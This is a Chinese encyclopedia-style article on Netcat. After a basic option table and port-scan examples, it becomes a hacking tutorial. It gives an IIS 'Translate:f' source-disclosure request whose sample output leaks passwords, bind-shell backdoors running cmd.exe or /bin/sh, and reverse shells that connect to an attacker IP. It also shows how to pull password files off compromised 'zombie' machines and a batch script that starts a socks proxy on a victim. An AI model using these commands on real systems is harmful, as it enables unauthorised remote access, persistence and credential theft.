Netcat

Netcat

簡介 在網路工具中有“瑞士軍刀”美譽的NetCat, 在我們用了N年了至今仍是愛不釋手。

基本介紹

  • 中文名:作者Hobbit
  • 外文名:Netcat
  • 榮譽稱號:有“瑞士軍刀”美譽
  • 功能:tcp掃描
  • 屬性:計算機術語
工具技巧,基本使用,高級套用,

工具技巧

Netcat 就我的一些使用心得和一些幫助文檔中,做一些介紹與大家共勉。
win98用戶可以在autoexec.bat加入path=nc的路徑,win2000用戶在環境變數中加入path中,linux含有這個命令(redhat)

基本使用

想要連線到某處:
nc[-options]hostnameport[s][ports]...
綁定連線埠等待連線:
nc-l-pport[-options][hostname][port]
參數:
參數
說明
-C
類似-L選項,一直不斷連線[1.13版本新加的功能]
-d
後台執行
-e prog
程式重定向,一旦連線,就執行 [危險!!]
-g gateway
源路由跳數,最大值為8(source-routing hop point[s],up to 8)
-G num
源路由指針:4,8,12,... (source-routing pointer: 4,8,12,...)
-h
幫助信息
-i secs
延時的間隔
-l
監聽模式,用於入站連線
-n
指定數字的IP位址,不能用hostname
-o file
記錄16進制的傳輸
-p port
-r
任意指定本地及遠程連線埠
-s addr
本地源地址
-u
UDP模式,[netcat-1.15可以:遠程nc -ulp port -e cmd.exe,本地nc -u ip port連線,得到一個shell.]
-v
詳細輸出——用兩個-v可得到更詳細的內容
-w secs
指定逾時的時間
-z
將輸入輸出關掉——用於掃描時
其中連線埠號可以指定一個或者用lo-hi式的指定範圍。
例如:掃描連線埠
tcp掃描
C:\nc>nc-v-z-w2192.168.0.801-140net[192.168.0.80]140(?)net[192.168.0.80]139(netbios-ssn)opennet[192.168.0.80]138(?)net[192.168.0.80]137(netbios-ns)net[192.168.0.80]136(?)net[192.168.0.80]135(epmap)opennet[192.168.0.80]81(?)opennet[192.168.0.80]80(http)opennet[192.168.0.80]79(finger)net[192.168.0.80]25(smtp)opennet[192.168.0.80]24(?)net[192.168.0.80]23(telnet)net[192.168.0.80]21(ftp)
udp掃描
C:\nc>nc-u-v-z-w2192.168.0.801-140net[192.168.0.80]140(?)opennet[192.168.0.80]139(?)opennet[192.168.0.80]138(netbios-dgm)opennet[192.168.0.80]137(netbios-ns)opennet[192.168.0.80]54(?)opennet[192.168.0.80]53(domain)opennet[192.168.0.80]38(?)opennet[192.168.0.80]37(time)opennet[192.168.0.80]7(echo)open

高級套用

1.Window用法:
⑴IE的MIME欺騙
www.try2hack.nl(是一個讓初學黑客技術的人去做實驗的站點)
打開這個頁面,有http://www.try2hack/cgi-bin/level7頁面(這個網站提供了黑客的8關,過了這8關證明你開始入門了),這個頁面告訴我們的瀏覽器不是 IE6.72,我們的作業系統不是LIUNX,我們不是從www.microsoft/ms重定向連結過去的,有病阿(這是一個題目呀,要慢慢研究),linux有IE6.72? 微軟會在它的頁面上放的連結?看看頁面的原始碼,是在伺服器端 執行的perl腳本,根本無法看到,還是研究一下IE5和它通信時都告訴了它什麼,抓包,我們會發現,我們的IE5告訴對方:我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705。哈哈,這個cgi應該是根據這些信息知道我們不是它要求的 客戶,嘿嘿,需要欺騙對方才行,用軍刀來可以實現,如下做就可以哄對方了:
nc www.try2hack80 [enter]
GET /cgi-bin/level7HTTP/1.1 [enter]
Accept: image/gif,image/x-xbitmap,application/msword,*/* [enter]
Refererhttp://www.microsoft/ms.htm [enter]
Accept-Language: zh-cn [enter]
Accept-Encoding: gzip,deflate [enter]
User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986) [enter]
Host: www.try2hack [enter]
Connection:
Keep-Alive [enter]
注意,如果出現HTTP 400時,說明你輸入格式有問題,出現httpd 200回應時,就給出結果了:
哈哈!趕快去實現一下(實踐是成功之母)
⑵ⅡS 5 “Translate:f” 顯示代碼脆弱點
Translate:f脆弱點的機制:傳送一個畸形的HTTP GET 請求給伺服器方一個可執行腳本或相關檔案類型(例如.ASP或者global.asa)。這些檔案是用於伺服器上運行的,絕不會到客戶機上去,而這個請求就會導致ⅡS將這種檔案的內容傳送到遠端的客戶機上,而不是在伺服器上運行。這種畸形的HTTP GET請求的關鍵特性是該請求的末尾有一個特定的頭信息Translate:f,並有一個反斜槓”\”附於URL之後。下面就有這樣的一個例子([CRLF]代表回車字元)
注意 GET global.asa 後的反斜槓以及Translate:f頭信息。
GET /global.asa\ HTTP/1.0
Host:192.168.0.1
User-Agent:SensePostData
Content-Type:application/x-www-form-urlencoded
Translate:f
[CRLF]
[CRLF]
將以上內容保存在一個文本檔案中(例如example.txt)
然後向一個有這個漏洞的伺服器傳送
c:\>type example.txt | nc –nvv 192.168.0.80 80
(UNKNOWN) [192.168.0.80] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-ⅡS/5.0
Date: Tue,03 Dec 2002 08:50:46 GMT
Content-Type: application/octet-stream
Content-Length: 2790
ETag: “0448299fcd6df1:bea”
Last-Modified: Wed,13 Nov 2002 18:50:46 GMT
Accept-Ranges: bytes
Cache-Control: no-cache
(“ConnectionText”) = “Dsn=ph;UID=myman;Password=mygod)”
(“LDAPServer”) = “LADP://ldap.:389”
(“LDAPUserID”) = “CN=Admin”
(“LDAPPwd”) = “mygod”
………
3.1.連線埠的刺探
nc -vv ip port
RⅣER [192.168.0.198] 19190 (?) open //顯示是否開放open
⒊2.掃描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃描會留下大量的痕跡,系統管理員會額外小心
⒊3. 後門
victim machine: //受害者的機器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //連線victim_IP,然後得到一個shell。
⒊4.反向連線
attacker machine: //一般是sql2.exe,遠程溢出,webdavx3.exe攻擊.
//或者wollf的反向連線.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP)
這樣就可以保證nc.exe優先於NETBIOS。
⒊5.傳送檔案:
⒊5.1 attacker machine <-- victim machine //從肉雞拖密碼檔案回來.
nc -d -l -p port < path\filedest   /*attacker machine*/ 可以shell執行
nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉雞需要gui界面的cmd.exe裡面執行(終端登入,不如安裝FTP方便).否則沒有辦法輸入Crl+C.
⒊5.2 attacker machine --> victim machine //上傳命令檔案到肉雞
nc -vv -l -p port > path\file.txt  /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < path\filedest   /*attacker machine*/ 可以shell執行
//這樣比較好.我們登入終端.入侵其他的肉雞.可以選擇shell模式登入.
結論: 可以傳輸ascii,bin檔案.可以傳輸程式檔案.
問題:連線某個ip後,傳送完成後,需要傳送Ctrl+C退出nc.exe .
或者只有再次連線使用pskill.exe 殺掉進程.但是是否釋放傳輸檔案打開的句柄了?
⒊6 連線埠數據抓包.
nc -vv -w 2 -o test.txt www. 80 21-15
< 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 #,command "" unr
<6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00 00 01 8f # .....
⒊7 telnet,自動批處理。★★★★★我要重點推薦的東西就是這個.
nc victim_ip port < path\file.cmd   /*victim machine*/ 顯示執行過程.
nc -vv victim_ip port < path\file.cmd   /*victim machine*/ 顯示執行過程.
nc -d victim_ip port < path\file.cmd 安靜模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________

相關詞條

熱門詞條

聯絡我們